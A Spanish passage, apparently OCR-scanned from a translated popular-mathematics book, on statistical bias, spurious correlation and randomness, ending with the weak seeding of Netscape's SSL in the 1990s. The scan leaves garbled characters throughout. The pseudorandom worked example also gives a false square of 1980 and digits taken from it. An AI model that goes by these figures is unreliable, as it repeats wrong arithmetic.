dinosaurio que no era mas que doce conjuntos de datos, todos con las mismas
medias y desviaciones estandar. El «Datasaurio» era una coleccién de 142
pares de coordenadas que, cuando se colocaban en un grafico, parecian un
dinosaurio. Los «doce del Datasaurio» consistian en doce conjuntos
adicionales de 142 datos, los cuales, con dos cifras decimales, daban las
mismas medias tanto en direccion vertical como horizontal y las mismas
desviaciones estandar en ambas direcciones, como el Datasauriol?4]. Si no se
creaban los graficos, estos conjuntos de datos no eran mas que ndmeros
escritos en un papel: es una leccion valiosa sobre la importancia de la
visualizacion de los datos. Y para no confiar en las estadisticas de los
titulares.
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Para todos los grdficos: media vertical = 47,83; desviacion estdndar vertical = 26,93; media
horizontal = 54,26; desviacion estdndar horizontal = 16,79. Algunos de los Doce del Datasaurio. Yo le
habria llamado Triceraplots.

Esto deberia sesgar algiin tiempo
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Primero, obtienes las estadisticas; luego, las analizas. El modo en el que se
recogen los datos es tan importante como la forma en la que se analizan. Hay
muchas clases de sesgos que se pueden introducir durante la recoleccion de
los datos y que pueden influir en las conclusiones que se extraigan. Cerca de
donde vivi en el Reino Unido, hay un puente que cruza un rio que se cree que
fue construido por unos monjes durante el siglo xi1. Dado que se trata de un
puente que ha sobrevivido unos ochocientos afios, esos monjes debian saber
muy bien lo que hacian. Hay una sefial en el puente que indica que los
estribos del puente tienen una forma determinada para que la turbulencia del
agua que pasa a su través disminuya, reduciendo asi la erosion del puente.
Unos monjes muy listos.

¢Lo eran? ;Como podemos saber si los monjes eran malos construyendo
puentes? Todos los malos, o se habran caido o habran sido sustituidos por
otros en todo el tiempo que ha pasado desde entonces. En el siglo xii1, estarian
construyendo puentes todo el tiempo, seguramente con toda clase de estribos
de formas diferentes. Supongo que casi todos ellos han desaparecido. Solo
tenemos constancia de este porque ha sobrevivido. Concluir por eso que los
monjes son muy buenos construyendo puentes es un ejemplo del llamado
«sesgo de supervivencia». Es como un gerente que lanza las solicitudes de
empleo a la papelera al azar porque no quiere contratar a nadie que tenga
mala suerte. El hecho de que algo sobreviva no significa que sea significativo
o importante.

Creo que una buena parte de la nostalgia que despierta el hecho de pensar
que las cosas se fabricaban mejor en el pasado es debido al sesgo de
supervivencia. Veo cémo la gente comparte en internet fotografias de
utensilios de cocina del pasado que todavia funcionan: gofreras de la década
de 1920, batidoras de la de 1940 y cafeteras de la de 1980. Y la afirmacién de
que los aparatos antiguos duran mas tiene algo de verdad. Hablé con un
ingeniero de procesos de fabricacion en Estados Unidos que me dijo que, con
el software de disefio 3D, actualmente se pueden diseflar piezas con
tolerancias mucho menores, mientras que las generaciones anteriores de
ingenieros no estaban muy seguras sobre donde se hallaba la linea, razon por
la cual sobredisefiaban piezas para asegurarse de que funcionarian. Pero
también esta el sesgo de supervivencia, segun el cual todas las batidoras de
cocina que se rompieron durante afios hace tiempo se desecharon.
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Un puente sobre aguas turbulentas.

El estudio que analizaba cuantos ataques al corazon se produjeron después
del cambio al horario de verano también tuvo un problema con una clase de
sesgo de supervivencia. En este caso, los investigadores unicamente disponian
de los datos de personas que fueron al hospital y necesitaron una operacion de
apertura aortica, por lo que esto limitaba su investigacion a las personas que
sufrieron un ataque serio y fueron al hospital. Pudo haber gente que sufriera
un ataque al corazén provocado por el cambio de horario pero que falleciera
antes de llegar al hospital, y el estudio los habria ignorado por completo.

También se producen sesgos de muestreo relacionados con como y donde
se recogen los datos. En 2012, la ciudad de Boston sac6 una aplicacion
llamada Street Bump que parecia ser la combinacién perfecta de recoleccion y
analisis de smartdata. Los ayuntamientos gastan un monton de dinero en la
reparacion de los baches de las calles y, cuanto mas tiempo existen, mas
pueden crecer y convertirse en peligrosos. La idea era que un conductor
pudiera cargar la aplicacion Street Bump en su smartphone y, mientras
condujera, los acelerometros de los teléfonos buscarian el bache delatador
cuando el coche pasase sobre uno. Esta constante actualizacion del mapa de
baches permitiria a los consistorios arreglar los que acababan de aparecer
antes de que crecieran y pudieran zamparse un coche.

Y todavia se puso mas de moda cuando, en parte, se financi6
colectivamente. La primera version de la aplicacion no era buena detectando
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los falsos positivos: los datos que parecian ser los datos deseados pero que
realmente eran otra cosa. En este caso, los bordillos y otras protuberancias por
las que pasaba el coche eran baches para la aplicacion; incluso los
conductores que movian el teléfono en el interior del coche podian hacer que
el programa lo registrara como bache. Por lo que para la version dos se
abrieron las puertas a la sabiduria de la gente. Cualquiera podia sugerir los
cambios que habia que hacer en el codigo de la aplicacion y los mejores
compartirian un premio de 25.000 dolares. La version final, Street Bump 2.0,
tuvo contribuciones de ingenieros informaticos an6nimos, un equipo de
hackers de Massachusetts y un director de un departamento de matematicas
de una universidad.

La nueva version era mucho mejor a la hora de detectar qué saltos eran
provocados por baches. Pero habia un sesgo de muestreo porque solo
informaba de los baches por los que habia pasado alguien con un teléfono
inteligente y ademas estuviera ejecutando la aplicacion, lo que favorecia
enormemente a las zonas prosperas con una poblacion joven. El método
utilizado para recoger los datos tenia mucha influencia. Es como realizar una
encuesta sobre qué piensa la gente sobre la tecnologia moderna pero solo
aceptar que manden los formularios por fax.

Y, por supuesto, también existen los sesgos en términos de qué datos
decide la gente confesar. Cuando una empresa realiza un ensayo clinico con
algiin nuevo farmaco o intervencion médica en la que han estado trabajando,
pretende demostrar que funciona mejor que si no se hiciera intervencion
alguna o se optara por alguna otra opcion posible. Al final de un ensayo largo
y caro, si los resultados demuestran que un farmaco no es beneficioso (o es
negativo), la empresa tiene muy poca motivacion para publicar los datos. Es
una especie de «sesgo de publicacion». Se calcula que la mitad de los
resultados de los ensayos de farmacos nunca se ha publicado. Un resultado
negativo de un ensayo clinico tiene el doble de probabilidades de no ser
publicado que uno positivo.

Ocultar los datos de un ensayo con farmacos puede poner en peligro la
vida de las personas, posiblemente mas que cualquier otro error que he
mencionado en este libro. Los desastres relacionados con la ingenieria y la
aviacion pueden provocar cientos de muertes. Los farmacos pueden tener un
impacto mucho mayor. En 1980 se finaliz6 un ensayo en el que se probaba un
farmaco antiarritmico llamado Lorcainide: aunque la frecuencia de las
arritmias graves disminuy6 en los pacientes que tomaron el farmaco, de los
cuarenta y ocho pacientes a los que se les administrd, nueve murieron,
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mientras que solo uno de los cuarenta y siete pacientes a los que se les
administré un placebo murio.

Aun asi, los investigadores intentaron por todos los medios que alguien
publicara su trabajol?5l. Las muertes no estaban dentro del &mbito de su
investigacion (la cual se centraba unicamente en la frecuencia de las
arritmias) y, dado que su muestra de pacientes era muy pequefia, las muertes
podrian haber sido pura casualidad. Durante la década siguiente, estudios
posteriores pusieron de manifiesto el riesgo asociado con este tipo de
farmacos, una conclusion a la que se habria podido llegar antes con sus datos.
Si los datos de la Lorcainide se hubieran difundido antes, se calcula que unas
diez mil personas podrian haberse salvado.

Ben Goldacre, médico y empollon activista, cuenta la historia de como
recet6 el farmaco antidepresivo Reboxetine a un paciente basandose en datos
procedentes de un ensayo que habia demostrado que era mas efectivo que un
placebo. Tenia ante si el resultado claramente positivo obtenido en un estudio
en el que participaron 254 pacientes, lo cual era suficiente para convencerle
de que recetara el farmaco. Pasado un tiempo, en 2010, se revel6 que se
habian realizado otros seis ensayos para probar Reboxetine (en los que
participaron unos 2.500 pacientes) y todos ellos demostraron que no era mejor
que un simple placebo. Esos seis estudios no se habian publicado. Desde
entonces, Goldacre puso en marcha la campafia AllTrials con la que pedia que
todos los datos relacionados con los ensayos farmacoldgicos, futuros y
pasados, fueran difundidos. Echele un vistazo a su libro Mala farma para
profundizar en el tema.

Por regla general, es increible lo que puedes demostrar si estas dispuesto a
ignorar los datos suficientes. El Reino Unido ha sido habitado por los
humanos desde hace miles de afios, y eso ha dejado su huella en el paisaje:
hay antiguos yacimientos megaliticos por todas partes. En 2010 aparecieron
articulos en la prensa en los que se decia que alguien habia analizado 1.500
antiguos yacimientos megaliticos y habia encontrado un patron matematico
que los unia mediante triangulos isdsceles como una especie de «GPS
prehistérico». El autor de esta investigacion fue Tom Brooks y, al parecer,
eran demasiado precisos para que se hubieran creado al azar.

Los lados de algunos de los tridngulos tienen mas de 100 millas de largo y aun asi las
distancias son exactas con un margen de 100 metros. No puedes conseguir algo asi por
casualidad.

Tom Brooks, 2009 y, de nuevo, en 2011
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Brooks ha repetido la explicaciéon de sus hallazgos siempre que ha tenido
un libro que vender y parece que ha sacado comunicados de prensa casi
idénticos al menos en 2009 y 2011. El reportaje que lei es de enero de 2010 y
decidi poner a prueba sus afirmaciones. Quise aplicar el mismo proceso de
busqueda de triangulos isdsceles, pero en datos de localizacion que no
mostraran ninguin patrén significativo. Unos afios antes, Woolworths, una
importante cadena de almacenes de ropa de Gran Bretafia, habia quebrado y
sus escaparates abandonados seguian estando en calles importantes por todo
el pais. Por lo que me descargué las coordenadas GPS de ochocientos
antiguos establecimientos Woolworths y me puse a trabajar.

Encontré tres almacenes Woolworths en los alrededores de Birmingham
que forman un triangulo equilatero exacto (Wolverhampton, Lichfield y
Birmingham) y, si se extiende la base del triangulo, hay una linea de 279,7
kilometros que une los almacenes de Conwy y Luton. A pesar de esos 279,7
kilometros, el almacén de Woolworths en Conwy estaba solo 12 metros fuera
de la linea exacta y el de Luton a 9 metros. En cada lado del triangulo de
Birmingham encontré pares de triangulos isosceles dentro de la precision
requerida. Eran las localizaciones de algunos lugares espeluznantes e
inquietantes. Lo que hace que el Triangulo de Birmingham sea una especie de
Triangulo de las Bermudas, solo que con un tiempo meteorologico mucho
peor.

Dado que parece ser la practica habitual en este tipo de cosas, difundi una
nota de prensa resumiendo mis hallazgos. En ella afirmaba que, al menos, esta
informacion nos podia aportar cierta comprension sobre como vivia la gente
en 2008. Y, al igual que Brooks, dije que estos patrones eran tan precisos que
no podria descartar la ayuda extraterrestre. El Guardian cubri6 la noticia con
el titular «gAyudaron los extraterrestres a alinear los almacenes
Woolworths?»[26],
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Mis posicionamientos Woolworths. Desde entonces, tanto los almacenes Woolworths como mi pelo son
mucho mds escasos.

Para encontrar estos posicionamientos simplemente tuve que ignorar la
mayoria de las localizaciones de almacenes Woolworths y elegir unos cuantos
que casualmente estaban alineados. Con unas ochocientas localizaciones
podia crear mas de 85 millones de triangulos. Por lo tanto, no me sorprendi6
que algunos de ellos fueran casi isosceles perfectos. Si ninguno de ellos lo
hubiera sido, entonces si que empezaria a creer en extraterrestres. Los 1.500
yacimientos prehistoricos que Brooks utilizd le posibilitaron la creacion de
561 millones de triangulos entre los que elegir. Sospecho que él cree
firmemente que los antiguos bretones colocaron sus asentamientos en estas
localizaciones: simplemente habia sido victima del sesgo de confirmacion. Se
centro en los datos que cumplian con sus expectativas e ignord el resto.

Brooks volviéo a sacar su comunicado de prensa sobre el GPS de la
antigiiedad una vez mas en 2011. Por lo que yo volvi a sacar el mio, esta vez
con la ayuda del programador Tom Scott. Scott cre6 una pagina web en la que
se introducia cualquier codigo postal de Gran Bretafia y encontraba tres
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posicionamientos megaliticos que pasaban por ese punto; uno de los tres tenia
que ser Stonehenge. Por cada direccion del Reino Unido pasaban tres lineas
magnéticas como esas. Es una certeza matematica que se puede encontrar
cualquier patrén que uno desee, mientras estés dispuesto a ignorar aquellos
datos que no encajan. No he leido nada mas sobre Brooks desde entonces vy,
como compaiiero triangulofilo, espero que le vaya bien.

Causalidad, correlacion y repetidores de telefonia mévil

En 2010, un matematico descubri6 que existia una correlacion directa entre el
numero de repetidores de telefonia mdvil y el nimero de nacimientos en las
zonas del Reino Unido en las que se habian instalado. Por cada repetidor
adicional en cada zona, nacian 17,6 bebés mas en comparacion con la media
nacional. Era una relacion directa increiblemente sélida y habria garantizado
una investigacion futura, si hubiera existido algin vinculo causal. Pero no lo
habia. El descubrimiento no tenia sentido alguno. Y puedo decirlo porque yo
era ese matematico.

Era un proyecto que estaba haciendo con el programa de matematicas de
la cadena Radio 4 de la BBC titulado More or Less, para ver como respondian
las personas ante una correlacion en la que no habia ningun vinculo causal. La
vision de los repetidores de telefonia moévil no hacia que los ciudadanos del
Reino Unido se pusieran mas «romanticos». Y décadas de estudios han
revelado que los repetidores de telefonia mévil no tienen un impacto
biolégico. En este caso, ambos factores dependian de una tercera variable: el
tamafio de la poblacion. Tanto el nimero de repetidores de telefonia mévil en
una zona como el numero de nacimientos dependen de cuanta gente vive alli.

Quisiera dejarlo muy claro: en el articulo explicaba que la correlacion era
debida al tamafio de la poblacion. Expliqué con gran detalle que se trataba de
un ejercicio con el que queria demostrar que una correlaciéon no significa
causalidad. Pero también acabd siendo una demostracion de que la gente no
entendi6 bien el articulo antes de comentarlo. La correlacion era demasiado
seductora y la gente no pudo evitar exponer sus razones. Mas de una persona
sugiri6 que los vecindarios caros tenian menos repetidores y las familias
jovenes con montones de nifios no se podian permitir vivir alli, lo que
demostraba una vez mas que no hay tema que los lectores del Guardian no
acaben achacando a los precios de las casas. Y, por supuesto, eso atrajo a
aquellos que pensaban lo contrario:

Si este estudio se sostiene, entonces apoya la evidencia cientifica existente de que la
radiacion de bajo nivel procedente de los repetidores de telefonia movil tiene efectos
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biolégicos.
Alguien que no ley6 mas alla del titular

Una correlacion nunca es suficiente para defender que una cosa causa
otra. Siempre existe la posibilidad de que otra cosa esté influyendo en los
datos, creando el vinculo. Entre 1993 y 2008, la policia de Alemania estuvo
buscando al misterioso «fantasma de Heilbronn», una mujer que habia sido
relacionada con cuarenta crimenes, incluyendo seis asesinatos; su ADN se
habia encontrado en todos los escenarios de los crimenes. Los policias
invirtieron decenas de miles de horas de servicio buscando a la «mujer mas
peligrosa» de Alemania y se ofrecié una recompensa de 300.000 euros por su
cabeza. Resultd que se trataba de una mujer que trabajaba en la fabrica que
producia los bastoncillos de algodon utilizados para recoger las pruebas de
ADN.

Y, por supuesto, algunas correlaciones resultan ser completamente
aleatorias. Si se comparan los datos suficientes, mas tarde o mas temprano
habra dos que se correlacionaran casi a la perfeccion de forma accidental.
Incluso existe una pagina web dedicada a las correlaciones espurias que busca
entre los datos disponibles publicamente y encuentra correlaciones por usted.
Hice una busqueda rapida con el nimero de personas de Estados Unidos que
se doctoraron en matematicas. Entre 1999 y 2009, el nimero de doctorados en
matematicas tuvo una correlacion del 87% con el «nimero de personas que
tropezaron con sus propios pies y murieron». (Datos proporcionados sin
comentarios afiadidos.)

Como herramienta matematica, la correlacion es una técnica muy potente.
Puede coger una serie de datos y darnos una buena medida de la cercania
entre los cambios lineales de dos variables. Pero se trata tan solo de una
herramienta, no de una respuesta. Una gran parte de las matematicas tiene que
ver con hallar una respuesta, pero, en estadistica, los numeros que surgen de
los calculos nunca cuentan la historia completa. Todos los datos de los Doce
del Datasaurio tienen los mismos valores de correlacién, pero en los graficos
se ve claramente que las relaciones son diferentes. Los numeros que se
obtienen gracias a la estadistica son el inicio del proceso de descubrimiento
de la respuesta, no el final. Hace falta un poco de sentido comun y de analisis
inteligente para llegar a la respuesta correcta a partir de las estadisticas.
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Que conste que, en Estados Unidos, el niimero de personas que obtienen un doctorado en matemdticas

también tiene mds de un 90% de correlacién durante diez o mds anos con: el uranio almacenado en las

plantas nucleares, el dinero gastado en mascotas, los ingresos totales generados por las estaciones de
esqui y el consumo de queso por persona.

Si no, cuando escuche una estadistica como la que muestra que la tasa de
casos de cancer ha estado aumentando constantemente, le pueden hacer
suponer que las personas tienen actualmente vidas menos saludables. Lo
opuesto es cierto: la longevidad estd aumentando, lo que significa que cada
vez hay mds personas que viven lo suficiente para contraer un cancer. Para la
mayoria de canceres, la edad es el mayor factor de riesgo y, en el Reino
Unido, el 60% de todos los casos de cancer diagnosticados han sido en
personas de sesenta y cinco o mas afios. Lo que me hace afirmar, aunque me
duela, que, en cuanto a las estadisticas, los nimeros no lo son todo.
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En 1984, el conductor de furgonetas de helados Michael Larson acudi6 a un
concurso de la television estadounidense, Press Your Luck y gané un premio
sin precedentes: 110.237 ddlares: unas ocho veces la media de los premios
que se llevaba el ganador. Tuvo una racha ganadora de tal calibre que el
concurso, que habitualmente rotaba rapido de concursante, tuvo que ocupar
dos programas con su participacion.

En Press Your Luck, los premios se repartian a partir de un panel (el Big
Board) de dieciocho cajas en las que habia cantidades diferentes de dinero,
premios materiales y un personaje animado conocido como Whammy. El
sistema iba pasando rapidamente de una casilla a otra, supuestamente en un
orden aleatorio, y el concursante ganaba lo que contenia la casilla en la que se
paraba el sistema cuando apretaba el pulsador. Si se detenia en un Whammy,
el concursante perdia todos los premios que hubiera acumulado hasta
entonces.

El sistema nunca se detenia el tiempo suficiente en una casilla para que el
concursante viera su contenido, reaccionara y apretara el pulsador. Y, dado
que el movimiento parecia impredecible, era tedricamente imposible saber
por adelantado qué casilla seria seleccionada a continuacion, por lo que
elegian al azar. La mayoria de concursantes ganaban un par de premios antes
de retirarse en esa ronda; otros forzaban su suerte y se quedaban sin nada. Al
menos, esa era la teoria.

El concurso empieza con normalidad. Michael responde correctamente
suficientes preguntas de cultura general para ganar algunas tiradas en el Big
Board, y en su primer intento cae en un Whammy. Al inicio de la segunda
ronda Michael empieza siendo el ultimo, pero sus conocimientos de cultura
general le permiten ganar siete tiradas en el Big Board. Esta vez no cae en un
Whammy; gana 1.250 dodlares. Luego otros 1.250 en la siguiente tirada.
Luego 4.000, 5.000, 1.000, unas vacaciones en Kauai, 4.000, etc. Y la
mayoria de estos premios también vienen acompafiados de una «tirada
gratis», por lo que parece que su reinado en el Big Board nunca va a acabar.

Al principio, el presentador Peter Tomarken sigue con su comportamiento
habitual, esperando a que Michael caiga en un Whammy. Pero no cae. En una
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auténtica aberracion probabilistica, va ganando premio tras premio. El video
esta disponible en internet si busca: «Press Your Luck» y «Michael Larson».
Es increible ver todo el rango de emociones por las que pasa el presentador.
Al principio, esta entusiasmado al ver que algo tan poco probable esta
sucediendo, pero enseguida trata de averiguar qué diablos estd ocurriendo
mientras intenta mantener el caracter jovial que se presupone a todo
presentador de concursos.
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Mlchael Larson no necesito la suerte para acertar.

En lugar de ser aleatorio de verdad, el tablero tenia solo cinco ciclos
predeterminados, pero, al ir a tanta velocidad, parecian aleatorios. Michael
Larson se habia grabado el concurso en casa y habia estudiado
minuciosamente las grabaciones hasta que descifr6 esos patrones subyacentes.
Luego los memorizo, algo que, irénicamente, requeria menos esfuerzo que
aprenderse las respuestas a las preguntas de cultura general como hacian otros
concursantes. Y es cierto que no me puedo burlar de él por memorizar largas
secuencias de valores supuestamente arbitrarios; mis conocimientos de los
digitos que forman el nimero pi no me han hecho ganar 110.237 délares.

Los disefiadores del sistema de Press Your Luck codificaron ciclos en
lugar de que la secuencia fuera al azar porque esto tltimo resulta dificil. Es
mucho mas facil utilizar una lista ya generada de localizaciones que escoger
al azar una ruta sobre la marcha. No es que para los ordenadores sea dificil
hacer algo al azar: es practicamente imposible.

Aleatoriedad robotica

Ningun ordenador puede ser aleatorio sin ayuda: se construyen para que sigan
unas instrucciones al pie de la letra; los procesadores se construyen para hacer
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siempre lo correcto y de forma predecible. Hacer que un ordenador haga algo
inesperado es una proeza dificil de conseguir. No puedes tener una linea de
codigo que sea «haz algo al azar» y obtener un nimero realmente aleatorio
sin que haya un componente especializado unido al ordenador.

La version extrema es construir una cinta transportadora motorizada de
dos metros de altura que se introduce en un recipiente en el que hay
doscientos dados y extrae una seleccion aleatoria de ellos y los hace pasar
delante de una videocamara que luego puede utilizar el ordenador para ver el
dado y detectar qué numeros son los que han salido. Una maquina como esa,
capaz de realizar 1.330.000 tiradas de dados al azar por dia, pesaria unos 50
kilogramos y la cacofonia de sus motores y de los dados girando llenaria la
habitacion, y es exactamente lo que Scott Nesin construyo para su pagina web
GamesByEmail.

Scott tiene una pagina web en la que se puede participar en juegos a través
del correo electronico, lo que implica que necesita unas veinte mil tiradas de
dados por dia. Aquellos que juegan a juegos de mesa se toman muy en Serio
el momento en el que tiran los dados, por lo que, en 2009, puso todo su
empefio en construir una maquina capaz de tirar dados fisicamente. Estaba
convencido de poder disefiar la Dice-O-Matic por lo que, previendo su
capacidad futura, la construy6 con capacidad sobrante, de ahi que su maximo
sea de 1,3 millones de tiradas por dia. En la actualidad, Scott tiene alrededor
de un millén de tiradas no utilizadas grabadas en su servidor y la Dice-O-
Matic trabaja una o dos horas cada dia para reponer su reservorio de
aleatoriedad, llenando su casa de Texas con el sonido que produce la tirada
simultanea de cientos de dados.

Aunque tiene el encanto auténtico de tirar dados reales, esta claro que el
Dice-O-Matic no es el periférico informatico mas eficiente jamas construido.
Cuando el gobierno del Reino Unido anuncid, en 1956, su intencion de crear
los bonos prémium, de repente tuvo la necesidad de producir numeros
aleatorios a gran escala. A diferencias de los bonos gubernamentales
normales, que generan una cantidad fija de intereses, el «interés» de los bonos
prémium esta agrupado en premios y se distribuye a los propietarios de los
bonos de forma aleatoria.

Y esta es la razon por la que, en 1957, se construyo y puso en marcha
ERNIE (Electronic Random Number Indicator Equipment). Fue disefiado por
Tommy Flowers y Harry Fensom, quienes ahora sabemos que participaron en
la construccion de los primeros ordenadores para descifrar los cédigos nazis
durante la segunda guerra mundial (en esa época todavia era informacion
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clasificada). He visitado a ERNIE, retirado del servicio hace mucho tiempo,
en el Museo de Ciencias de Londres[?7l. Algo més alto y mucho méas ancho
que yo (de hecho, me saca varios metros), es justo como esperarias que fuera
un armario beis de ordenadores de la década de 1950. Pero sabia que en algtn
lugar de ahi adentro estaba el corazon de aleatoriedad de ERNIE: una serie de
tubos de neodn.

Fotografia de ERNIE junto a un humano enclenque.

Los tubos de neon se suelen utilizar para la iluminacion, pero ERNIE los
utilizaba para generar numeros aleatorios. El camino que sigue cualquier
electron a lo largo del gas de nedn que esta iluminando es cadtico, por lo que
la corriente resultante es, en gran parte, aleatoria. Encender un tubo de neén
es como lanzar miles de millones de nanodados al mismo tiempo. Lo que
significa que, incluso si los electrones alimentan una lampara de ne6n a un
ritmo muy constante, estaran rebotando de forma diferente y saldran en
momentos ligeramente diferentes. ERNIE cogia la corriente que salia de las
lamparas de neon y extraia el ruido aleatorio para utilizarlo como base para
crear los nimeros aleatorios.

Mas o menos medio siglo después, los bonos prémium se siguen
vendiendo en el Reino Unido, otorgandose los premios una vez al mes.
ERNIE ya esta en su cuarta version, ERNIE 4, y utiliza el ruido térmico de los
transistores para generar los nimeros aleatorios: los electrones son forzados a
través de las resistencias y el cambio en voltaje y calor producido se utilizan
como ruido aleatoriol28],

Si los disefiadores de Press Yor Luck hubieran querido disponer de un
sistema inquebrantable, hubieran necesitado disefiar alguna clase de sistema
fisico aleatorio conectado a su Big Board. El tablero ya estaba iluminado por
un ostentoso numero de luces; si algunas de ellas hubieran sido lamparas de
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neén, les habrian servido. También habria servido tener una cinta
transportadora de dados en la habitacién contigua si se pudiera mover lo
suficientemente rapido. Y lo ultimo en imprevisibilidad son los sistemas
cuanticos de aleatoriedad.

Parece una exageracion, pero actualmente ya podemos comprar nuestro
propio sistema cuantico de aleatoriedad por unos mil euros. Este contiene un
led que emite fotones en un separador de rayos en el que las interacciones
cuanticas determinan qué camino seguira ese foton. El lugar donde aparece
ese fotén determina el siguiente bit de un niimero aleatorio. Lo conectamos a
nuestro ordenador a través del USB y el modelo base empezara
inmediatamente a dar 4 millones de unos y ceros aleatorios cada segundo. (Se
puede conseguir un ritmo mayor de aleatoriedad a un precio mayor.)

Si no puede permitirselo, la Universidad Nacional Australiana (ANU por
sus siglas en inglés) le echara una mano. Disponen de su propio generador
cuantico de nimeros al azar escuchando el sonido del vacio. Incluso en el
vacio de la nada esta pasando algo. Gracias a las peculiaridades de la
mecanica cuantica, es posible que un par particula-antiparticula aparezca
espontaneamente de, literalmente, ninguna parte y luego aniquilarse tan
rapidamente que el universo ni se ha percatado de su existencia. Esto quiere
decir que el espacio vacio es realmente una espuma de particulas que
aparecen y desaparecen de la realidad.

En el Departamento de Ciencias Cuanticas de la ANU tienen un detector
que escucha un vacio y convierte esa espuma cuantica en niameros aleatorios
que luego retransmite en directo en https://qrng.anu.edu.au a todas horas. Para
la gente relacionada con la tecnologia, tienen una gran variedad de sistemas
seguros de distribucion de los datos (jno volvais a utilizar la funcién integrada
random.random() en Python nunca mas!). Y si le gusta que su ruido de fondo
sea binario, disponen de una versién en audio para que asi pueda escuchar
como suena el azar.

Aleatorio de memoria

Digamos que usted esta intentando recortar su presupuesto a la hora de
obtener un nimero aleatorio. La secciéon de ofertas de aleatoriedad son los
numeros «pseudoaleatorios». Como una especie de version de marca blanca
del producto original, los nimeros pseudoaleatorios se parecen mucho a los
originales, pero estan hechos con un nivel de calidad inferior.

Los nimeros pseudoaleatorios son los que el ordenador, el teléfono movil
o cualquier dispositivo que no tenga su propio generador de numeros
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aleatorios nos da cuando le solicitamos uno. La mayoria de los teléfonos
moviles llevan una calculadora integrada y, si giramos el teléfono, veremos
todas las opciones de la calculadora cientifica. Acabo de pulsar el boton
aleatorio «Rand» en la mia y me ha aparecido en la pantalla
0,576450227330181[1291,  En  un segundo intento me  aparece
0,063316529365828. Cada vez obtengo un nuevo numero al azar entre cero y
uno, listo para ser ampliado hasta dondequiera que llegue mi necesidad de
aleatoriedad.

Poder disponer de un generador de numeros aleatorios de bolsillo es
increiblemente practico para poder aleatorizar cualquier clase de decision que
tengamos que tomar en nuestra vida. Cuando salgo a tomar algo con mi
hermano utilizamos los nimeros aleatorios para decidir quién paga la factura
(primera cifra par: pago yo; impar; paga €él). Si quiere afiadir nimeros al final
de una contrasefia, ahora puede ser menos predecible. ¢ Quiere dar a alguien
un numero de teléfono falso creible? El botén Rand es su nuevo amigo.

Pero, lamentablemente, esos nimeros no son realmente aleatorios. Al
igual que ocurria con el Big Board, siguen una secuencia predeterminada de
valores. Excepto que, en lugar de memorizar una lista por adelantado, se
generan sobre la marcha. Los generadores de numeros pseudoaleatorios
utilizan ecuaciones matematicas para generar numeros que parecen aleatorios,
aunque no lo son.

Para crear sus propios nimeros pseudoaleatorios, empiece con un numero
arbitrario de cuatro digitos. Yo voy a utilizar el afio de mi nacimiento: 1980.
Ahora necesitamos convertirlo en otro numero de cuatro digitos que,
aparentemente, no tenga relacion alguna con el anterior. Si lo elevamos al
cuadrado, tenemos el 7.762.392.000, y voy a ignorar el primer digito y coger
desde la segunda a la quinta posicion: 7623. Si repetimos este proceso de
elevar al cuadrado y extraer cinco digitos obtenemos los siguientes niumeros:
4297, 9340, 1478, etc.

Esta es una secuencia de numeros pseudoaleatorios. Se han generado
mediante un proceso que carecia de incertidumbre. Los digitos 9340 siempre
vendran después del 4297, pero no de una forma obvia. Mi secuencia no es
muy buena porque solo hay una cierta cantidad de nimeros de cuatro digitos
y, finalmente, llegaremos al mismo dos veces y los ntimeros volveran a
repetirse siguiendo un bucle. En este caso, el 150° es el mismo que el tercero
de la lista: el 4297. A ese le sigue el 9340 y se repetiria la lista de 147
numeros mas eternamente. Las secuencias pseudoaleatorias auténticas utilizan
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calculos mucho mas complicados, de tal forma que los nimeros no acaban
creando un bucle tan rapidamente y ayudan a complicar el proceso.

Escogi 1980 como primer numero con el que iniciar mi secuencia (la
«semilla»), pero podria haber escogido otro con el que habria obtenido una
secuencia muy diferente. Los algoritmos pseudoaleatorios utilizados a nivel
industrial dan numeros completamente diferentes solo con cambiar
ligeramente sus semillas. Incluso si estamos utilizando un generador
pseudoaleatorio conocido, si elegimos una semilla «aleatoria», los nimeros
que producira seran impredecibles. Pero el mejor generador de ndmeros
pseudoaleatorios no sera muy util si somos perezosos a la hora de introducir
la semilla. Incluso desde los primeros afios de internet, el trafico en la red ha
sido seguro gracias a que se encriptaba con numeros aleatorios. Pero, cuando
un navegador escoge numeros aleatorios para utilizarlos en una encriptacion
conocida como Capa de Sockets Seguros (SSL por sus siglas en inglés), es
muy facil que aquellos que quieren «escuchar» adivinen cual es la semilla.

La World Wide Web irrumpio en la escena publica mas o menos en 1995
y, para mi, no hay nada mas tipico de los noventa que el navegador Netscape.
Olvidese de series como Salvados por la campana o Sexo en nueva York: para
mi, los noventa fueron como un cometa que giraba alrededor de una letra N
mayuscula mientras esperaba a que se cargara una pagina web. Era la época
en la que todo era «ciber» y la gente utilizaba la expresion «superautopistas
de la informaci6n» con cara seria.

A la hora de buscar una semilla a partir de la que generar numeros
aleatorios, Netscape utilizaba una combinacion de la hora actual y de sus
identificadores de procesos (ID). En la mayoria de sistemas operativos,
siempre que se ejecuta un programa se le da un numero identificativo de
proceso para que el ordenador pueda llevar un registro. Netscape utilizaba ese
ID de la sesion actual al igual que el ID del programa parental que abria
Netscape, combinado con el tiempo actual (segundos y microsegundos) para
utilizarlos como semilla de su generador de numeros pseudoaleatorios.

Pero esos nimeros no son dificiles de adivinar. En la actualidad, utilizo
Chrome como navegador y la ultima ventana que miré tenia como
identificador de proceso el ntimero 4122. Fue abierto por otra ventana de
Chrome cuando hice clic sobre «nueva ventana» y esa ventana parental tiene
como identificador de proceso el 298. Como puede ver, jno son nimeros muy
grandes! Si un agente malicioso supiera el momento exacto en el que abri esa
ventana antes de hacer algo que precise ser encriptado (como identificarme en
mi cuenta bancaria en linea), podria averiguar una lista de todas las
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combinaciones posibles de tiempos e identificadores de procesos. Para un
humano es una lista muy larga en la que buscar, pero no tanto para que un
ordenador pueda comprobar todas las opciones posibles.

En 1995 Ian Goldberg y David Wagner (que por entonces estudiaban un
doctorado en informatica en la Universidad de California, en Berkeley)
demostraron que un agente malicioso inteligente podria producir una lista de
posibles semillas aleatorias lo suficientemente pequefias para que un
ordenador pudiese comprobarlas todas en cuestién de minutos, haciendo que
la encriptacion no sirva para nadal3%l. Anteriormente, Netscape habia
declinado varios ofrecimientos de ayuda de la comunidad experta en
seguridad pero, gracias al trabajo de Goldberg y Wagner, arreglaron el
problema y pusieron a prueba su solucion para que fuera analizada
independientemente por cualquiera que quisiera ponerla a prueba.

Los navegadores modernos obtienen sus semillas aleatorias a partir del
ordenador en el que se estan ejecutando mediante la mezcla de cerca de un
centenar de numeros diferentes: ademas del tiempo y los identificadores de
procesos, también utilizan cosas como la cantidad de espacio libre actual que
